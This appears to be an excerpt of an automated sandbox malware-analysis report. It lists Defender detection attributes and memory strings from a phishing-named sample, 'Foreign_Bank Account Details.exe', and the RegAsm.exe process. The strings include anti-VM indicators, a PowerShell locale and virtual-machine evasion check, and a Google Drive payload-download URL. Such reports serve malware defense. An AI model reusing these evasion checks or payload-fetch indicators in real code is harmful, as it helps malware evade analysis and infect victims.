ARM_big_endianARM_legacyARM_unpredictable_16bitmachine_32bitmachineaggressive_trim_wsaggressiveimportamd64_imagearm_imageaslr_bit_setbound_imports_inside_imagebyte_reversed_hibyte_reversed_lowcalls_unimplemented_apichecks_if_debugged_documentedchecks_if_debugged_undocumentedchecks_ntglobalflagchecks_processheapchecks_teb_lasterrorchecks_teb_laststatuscode_on_stackdebug_strippeddeep_analysisdeep_apicall_limitdelay_load_imports_inside_imagedetects_virtualpcdetects_vmdetects_vmwaredirty_wx_branchdisable_apicall_limitdisable_drop_mz_onlydisable_dropper_rescandisable_io_redirectiondisable_microcodedisable_seh_limitdisable_static_unpackingdisable_thread_apicall_limitdisable_vmprotectdmg_decompressdmg_entrypointdmg_filealignmentdmg_imagebasedmg_imagesizedmg_importsdmg_invaliddatadmg_machinedmg_not_executable_imagedmg_notcontiguousdmg_optional_magicdmg_overlapping_sectionsdmg_pointertorawdatadmg_relocationsdmg_resource_levelsdmg_resource_namesdmg_resource_offsetdmg_resource_unordereddmg_sectionalignmentdmg_sizeofheadersdmg_sizeofrawdatadmg_special_sectiondmg_truncateddmg_unsupporteddmg_virtualaddressdmg_virtualsizedroppeddt_continue_after_unpackingdt_continue_after_unpacking_damageddt_error_bb_limitdt_error_failed_to_translatedt_error_heur_API_limitdt_error_heur_exit_criteriadt_error_invalid_opcodedt_error_loop_too_complexdt_error_not_enough_memorydt_error_too_many_operandsdt_error_too_many_prefixesdt_error_vmm_page_faultdynmem_APIcalldynmem_checks_if_debugged_docdynmem_checks_if_debugged_undocdynmem_checks_ntglobalflagdynmem_checks_processheapdynmem_detects_virtualpcdynmem_detects_vmdynmem_detects_vmwaredynmem_kernel_scandynmem_reads_vdll_codedynmem_self_modifying_codedynmem_uses_access_violationdynmem_uses_bound_exceptionsdynmem_uses_breakpointsdynmem_uses_div_by_zerodynmem_uses_int_overflowdynmem_uses_invalid_opcodesdynmem_uses_privinstrdynmem_uses_single_steppingdynmem_uses_udbgrddynmem_uses_udbgwrdynmem_uses_unusual_breakpointenable_binlibenable_lshashenable_vmm_growentrybyte55entrybyte60entrybyte90entrypoint_in_headerentrypoint_in_import_tableepatscnstartepatstartentrysectepatstartlastsectepcallnextepinfirstsectepiniatepoutofimageepscn_eqsizesepscn_falignepscn_islastepscn_valignepscn_vfalignepscn_writableepsec_not_executableexecutable_imageexecutble_imageexecutes_from_dynamic_memoryexecutes_from_last_sectionexecutes_from_resourcesextended_pestaticfirstsectwritableforce_dtforce_expensive_processingforce_unpackinggenpackedhandle_large_vahas_checksumhas_delay_load_importshas_many_resourceshas_msilresourceshasappendeddatahasboundimportshasexportshasstandardentryheaderchecksum0hstr_exhaustiveia64_imageimport_via_tlsinv_argumentsinv_datainv_decompress_errorinv_dos_signatureinv_e_lfanewinv_exportsinv_fileinv_filealignmentinv_filesizeinv_imagebaseinv_nomemoryinv_notimplementedinv_nt_signatureinv_optional_magicinv_overlappinginv_rawoffsetinv_rawsizeinv_readinv_rvainv_sectionalignmentinv_sizeofheadersinv_sizeofimageinv_sizeofoptionalheaderinv_unsupported_mac
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.toc.|!\qemu-system-armel.exe
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpBinary or memory string: 4ifprocessexists("vboxtray.exe")and$
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: vmmemctl
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpBinary or memory string: "/providers/microsoft.compute/virtualmachines/",
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: VMware_Virtual
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpBinary or memory string: Z"/providers/microsoft.compute/virtualmachines/",
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: %ProgramData%\Microsoft\Windows\Hyper-V\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpBinary or memory string: z"vmware"$bisvm=trueelseif$smodel="virtualbox"
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpBinary or memory string: VBoxTrayToolWndClass
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: % *.bin.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18332554033.0000015B1C0AF000.00000004.00000001.sdmpBinary or memory string: =mQ:#LowFiDetectsVmWare
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V Heartbeat Service
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpBinary or memory string: \\.\VBoxGuest\\.\VMDRVSYSTEM\CurrentControlSet
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpBinary or memory string: vboxhook.dll
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpBinary or memory string: vmware
        Source: MpSigStub.exe, 00000023.00000003.18300585182.0000015B1A681000.00000004.00000001.sdmpBinary or memory string: ,system\currentcontrolset\services\vboxguest
        Source: MpSigStub.exe, 00000023.00000003.18318011100.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: lbum.exeticket.zipuspsdhlspchPo.php?www=/release/setup.zipexe/release/install./release/new/setup.rar/index.php?c=RaE.scr.pdf..php?receipt_print=.php?receipt=/facebook//info.php?info=/info.php?label=/main.php?label=/main.php?info=/info.php?id=/flash/?/?d=/d/install.exe/index.php?key=.php?id=aJT.php?htm/setup.RPF:FakePAVURLinstall.SIGATTR:LoadsObscureDllRPF:LowFiObscureDllReadRPF:LowFiObfuscatorVM!Themida!CodeVirtualizer!Armadillo!Armadillo_4!Armadillo_5xRPF:DetectsVmWareRPF:DetectsVPCRPF:DetectsVMHSTR:VirTool:Win32/Obfuscator.YVSIGATTR:VirTool:Win32/Obfuscator.YV.2HSTR:Rogue:Win32/FakePAV_lowfiPEBMPAT:Trojan:Win32/Tibs_lowfiHSTR:Rogue:Win32/FakePAV_2_lowfiHSTR:Rogue:Win32/FakePAV_3_lowfianajbio.exesyuy2.exe~!#RPF:KaraganyFilename.BRPF:KaraganyFilename.A\AppData\Roaming\\Application Data\tfn.tmp.exeRPF:SkuffbotFilename.Asvchosts.exeRPF:SkuffbotFilename.BRPF:SkuffbotFilename.C.ps1.vbscod.gpj.gnp.txt.ftr.tpp.piz.rar.slx.fdp.RPF:RLOUnknownExtensionFilenameRPF:RLOFilenameRPF:RLOUnknownExtensionFilenameType1client.dllClient.dllclient_p.dllclient32_p.dllclient64_p.dlld64_p.dllmain_dll.dllinst_dll.dllVncDLL.dllRPF:CarberpVncDLLRPF:VawtrakDLLRPF:UrsnifDLLRPF:SampleCollectRPF:ObfuscatorWU.pif.scrIMG_FacebookRPF:PEWithImageFilename.Askype-imgprofile-imgprofile-facebookimg-facebookImages-Facebookimage-facebookDCIM-IMGSkype.ImageImage.Skypeskype_profilefileqemurecodispljrcgdwgpixbmpRPF:PEWithImageFilename.Bjpgimgapi_irispngr.out.png.exer.in.png.exe.pdfPrologue.Web.PDF.exeRPF:PEWithDocFilename.A.doc.xls.ppt.htmjpegdocxxlsxpptx.html.JPG.zip\RPF:PEWithImageFilename.C%*s%*s%sRPF:Napolar_Section_NameRPF:SirefefInstallationPathEPaEPbEPd.virus@h
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpBinary or memory string: vmusrvc
        Source: MpSigStub.exe, 00000023.00000003.18336377296.0000015B1BE9E000.00000004.00000001.sdmpBinary or memory string: VMWARETRAY.EXE
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpBinary or memory string: IsVmWare
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *|%systemroot%\System32\Vmwp.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: %ProgramFiles%\Hyper-V\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: azurevirtualmachinename
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.RCT.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18289300479.0000015B1BD55000.00000004.00000001.sdmpBinary or memory string: dynmem_detects_vmware
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.AVHD.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.bin.|!\qemu-system-i386.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: =8*|%systemroot%\System32\Vmcompute.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18318011100.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: RPF:DetectsVmWare
        Source: MpSigStub.exe, 00000023.00000003.18350843348.0000015B1B3CA000.00000004.00000001.sdmpBinary or memory string: VmWarePlayer
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpBinary or memory string: ifprocessexists("vboxservice.exe")thenexit
        Source: RegAsm.exe, 00000008.00000002.21888487316.000000000154A000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAWhT[
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V Volume Shadow Copy Requestor
        Source: MpSigStub.exe, 00000023.00000003.18298458791.0000015B1AD5A000.00000004.00000001.sdmpBinary or memory string: RDC:\WINDOWS\SYSTEM32\VMBUSRES.DLL>C:\WINDOWS\SYSTEM32\UNKNOWNDLL.DLL
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: %qemu
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.HRL.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.toc.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpBinary or memory string: .VmDetector.VirtualMachineDetector
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpBinary or memory string: ,Administrator,Guest,vmware
        Source: MpSigStub.exe, 00000023.00000003.18298458791.0000015B1AD5A000.00000004.00000001.sdmpBinary or memory string: !#RANSMATTR:PeLodDynDetVmwarepea_isexe&(pea_dt_error_heur_exit_criteria|pea_dt_error_heur_API_limit|pea_dt_error_bb_limit)&pea_dynmem_detects_vmware
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.bin.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: vmtools.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: 83*|%systemroot%\System32\Vmwp.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.img.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.VMCX.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.xml.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: virtual hd]
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpBinary or memory string: VMware
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: &!*.txt.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpBinary or memory string: vboxservice
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: PSF1.00123456789ABCDEF0123456789abcdefpea_epscn_islastpea_epcallnextpea_secmissizepea_epatstartlastsectpea_entrybyte60pea_entrybyte90pea_epiniatpea_usesuninitializedregspea_prefetchtrickspea_issuspiciouspea_isgenericpea_isreportedpea_aggressiveimportpea_deep_analysispea_enable_binlibpea_enable_lshashpea_many_importspea_self_modifying_codepea_track_direct_importspea_detects_vmpea_detects_vmwarepea_detects_virtualpcpea_is_delphipea_is_processpea_disable_apicall_limitpea_kernel_scanpea_uses_single_steppingpea_uses_breakpointspea_uses_privinstrpea_uses_bound_exceptionspea_uses_div_by_zeropea_uses_int_overflowpea_uses_invalid_opcodespea_uses_access_violationpea_uses_unusual_breakpointpea_checks_if_debugged_documentedpea_disable_io_redirectionpea_suspicious_rebasepea_disable_drop_mz_onlypea_suspicious_stack_sizepea_suspicious_stack_geometrypea_suspicious_subsystempea_suspicious_timestamppea_suspicious_valignpea_suspicious_section_fsizepea_suspicious_section_vsizepea_suspicious_section_namepea_suspicious_section_characteristicspea_aggressive_trim_wspea_16bitmachinepea_system_filepea_byte_reversed_hipea_suspicious_number_of_dirspea_force_unpackingpea_extended_pestaticpea_small_data_directory_countpea_multiple_relocs_same_locationpea_relocs_but_no_relocs_flagpea_suspicious_imagebasepea_no_section_tablepea_no_sectionspea_many_sectionspea_suspicious_image_sizepea_bound_imports_inside_imagepea_delay_load_imports_inside_imagepea_entrypoint_in_import_tablepea_entrypoint_in_headerpea_import_via_tlspea_epsec_not_executablepea_othermachine_imagepea_checks_teb_lasterrorpea_disable_vmprotectpea_checks_teb_laststatuspea_disable_thread_apicall_limitpea_deep_apicall_limitpea_genpackedpea_dynmem_uses_div_by_zeropea_dynmem_uses_int_overflowpea_dynmem_uses_bound_exceptionspea_dynmem_uses_privinstrpea_dynmem_uses_breakpointspea_dynmem_uses_single_steppingpea_dynmem_uses_invalid_opcodespea_dynmem_uses_access_violationpea_dynmem_uses_unusual_breakpointpea_dynmem_detects_vmpea_dynmem_detects_vmwarepea_dynmem_detects_virtualpcpea_dynmem_checks_if_debugged_docpea_dynmem_checks_if_debugged_undocpea_dynmem_kernel_scanpea_dynmem_self_modifying_codepea_dt_continue_after_unpackingpea_dt_continue_after_unpacking_damagedpea_loop_jmp_chainpea_droppedpea_dynmem_reads_vdll_codepea_verbose_vdll_readspea_scan_internal_datapea_isvbpcodepea_ARM_legacypea_ARM_big_endianpea_ARM_unpredictablepea_isappcontainerpea_checks_ntglobalflagpea_dynmem_checks_ntglobalflagpea_dynmem_checks_processheappea_dt_error_too_many_prefixespea_dt_error_too_many_operandspea_dt_error_bb_limitpea_executes_from_last_sectionpea_executes_from_resourcespea_memory_patchedpea_uses_sysenterpea_suspicious_resource_directory_sizepea_suspicious_import_directory_sizepea_invalid_ilt_entrypea_dmg_machinepea_dmg_filealignmentpea_dmg_pointertorawdatapea_dmg_virtualaddresspea_dmg_truncatedpea_dmg_special_sectionpea_dmg_relocationspea_dmg_overlapping_sectionspea_dmg_optional_magicpea_dmg_sizeofheaderspea_dmg_imagebasepea_dmg_imagesiz
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: % *.xml.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpBinary or memory string: f)a.VmDetector.VirtualMachineDetector
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpBinary or memory string: \\.\VBoxMiniRdrDN
        Source: RegAsm.exe, 00000008.00000002.21889262552.00000000015AE000.00000004.00000020.sdmpBinary or memory string: Hyper-V RAW
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.xml.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: Anti Sandboxie/VMware
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17634657037.00000000022D0000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21890837219.0000000001710000.00000004.00000001.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: 83*|%systemroot%\System32\Vmms.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpBinary or memory string: myapp.exeqemu
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpBinary or memory string: AntiVmWare
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: FA*.|!%ProgramFiles%\Android\Android Studio\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: % *.img.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpBinary or memory string: sandboxvmware]
        Source: RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: vmicshutdown
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.ISO.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: *.|!%ProgramFiles(x86)%\Android\Android Studio\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpBinary or memory string: Global\VBoxService.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: ZU%SystemDrive%\ProgramData\Microsoft\Windows\Hyper-V\Snapshots\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.bin.|!\qemu-system-armel.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: vboxmrxnp.dll
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: VMwareVMware
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.txt.|!\qemu-system-i386.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.VSV.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *|%systemroot%\System32\Vmms.exe|Microsoft-Hyper-V
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V Guest Service Interface
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpBinary or memory string: Running on VMWare
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: VMware SVGA
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpBinary or memory string: %vmware
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: 3.%ProgramFiles%\Hyper-V\*.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpBinary or memory string: if(((get-uiculture).name-match"ru|ua|by|cn")-or((get-wmiobject-classwin32_computersystem-propertymodel).model-match"virtualbox|vmware|kvm")){exit;}
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: &!*.xml.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpBinary or memory string: vmGuestLib.dll
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: vmware.exe|
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpBinary or memory string: Virtual HD
        Source: MpSigStub.exe, 00000023.00000003.18332083979.0000015B1A87C000.00000004.00000001.sdmpBinary or memory string: 8mus=mud_muramuyamuebmufbmuhbmu_emuiemuqemuimmujnmuhomubrmufrmu]tmuevmucwmucymu
        Source: MpSigStub.exe, 00000023.00000003.18350289745.0000015B1B712000.00000004.00000001.sdmpBinary or memory string: *.log.|!\Veeam.One.Collector.VMware.Host.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.rom.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.txt.|!\qemu-system-aarch64.exe
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V Guest Shutdown Service
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.img.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.BIN.|%SYSTEMPROCESS%|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpBinary or memory string: qemuvirtualvmware\\.\PhysicalDrive0
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpBinary or memory string: VMWare
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.toc.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpBinary or memory string: vmwareservice.exe
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: >Host: virtualmachine-update.com
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.vhds.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: &!*.rom.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: detects_vmware
        Source: MpSigStub.exe, 00000023.00000003.18298458791.0000015B1AD5A000.00000004.00000001.sdmpBinary or memory string: C:\WINDOWS\SYSTEM32\VMBUSRES.DLL>C:\WINDOWS\SYSTEM32\UNKNOWNDLL.DLL
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.BIN.|%systemroot%\System32\Vmwp.exe|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpBinary or memory string: Systeminfo | findstr /i modelExecToStackVirtualBoxVirtual MachineVMware
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpBinary or memory string: 1-driver-vmsrvc
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpBinary or memory string: vmsrvc
        Source: RegAsm.exe, 00000008.00000002.21890837219.0000000001710000.00000004.00000001.sdmpBinary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=1hKAWruhccvaKl722JOqs1briWjn1s8kswininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: .)*.BIN.|%SYSTEMPROCESS%|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: VBoxService
        Source: MpSigStub.exe, 00000023.00000003.18300585182.0000015B1A681000.00000004.00000001.sdmpBinary or memory string: *VMWARE*
        Source: MpSigStub.exe, 00000023.00000003.18260309272.0000015B0C57A000.00000004.00000001.sdmpBinary or memory string: pea_detects_vmware
        Source: MpSigStub.exe, 00000023.00000003.18338690411.0000015B1A7CB000.00000004.00000001.sdmpBinary or memory string: aplicativos.netlhe.com/vmnetdhcp/
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: % *.rom.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: % *.toc.|!\qemu-system-x86_64.exe
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.vhdpmem.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpBinary or memory string: idKasperkyVPCVMWareSandboxieHiJackThisgetDevicesRC4
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: \\vmware-host:Y
        Source: MpSigStub.exe, 00000023.00000003.18291256000.0000015B1B9B9000.00000004.00000001.sdmpBinary or memory string: Vmware
        Source: MpSigStub.exe, 00000023.00000003.18245056044.0000015B0B6EB000.00000004.00000001.sdmpBinary or memory string: azurevirtualmachinename_scrubbed
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpBinary or memory string: VBoxTray.exe
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpBinary or memory string: vmtools
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpBinary or memory string: vmtoolsx7
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.VHD.|*|Microsoft-Hyper-V
        Source: RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: vmicheartbeat
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: &!*.bin.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18300585182.0000015B1A681000.00000004.00000001.sdmpBinary or memory string: *QEMU*
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: &!*.img.|!\qemu-system-aarch64.exe
        Source: MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmpBinary or memory string: VBoxTray
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpBinary or memory string: *.VHDX.|*|Microsoft-Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpBinary or memory string: vmtoolsd.exe
        Source: Foreign_Bank Account Details.exe, 00000001.00000002.17636064879.0000000002D19000.00000004.00000001.sdmp, RegAsm.exe, 00000008.00000002.21893055738.0000000002FF9000.00000004.00000001.sdmpBinary or memory string: Hyper-V Time Synchronization Service
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpBinary or memory string: "Microsoft Hyper-V
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpBinary or memory string: *.img.|!\qemu-system-i386.exe
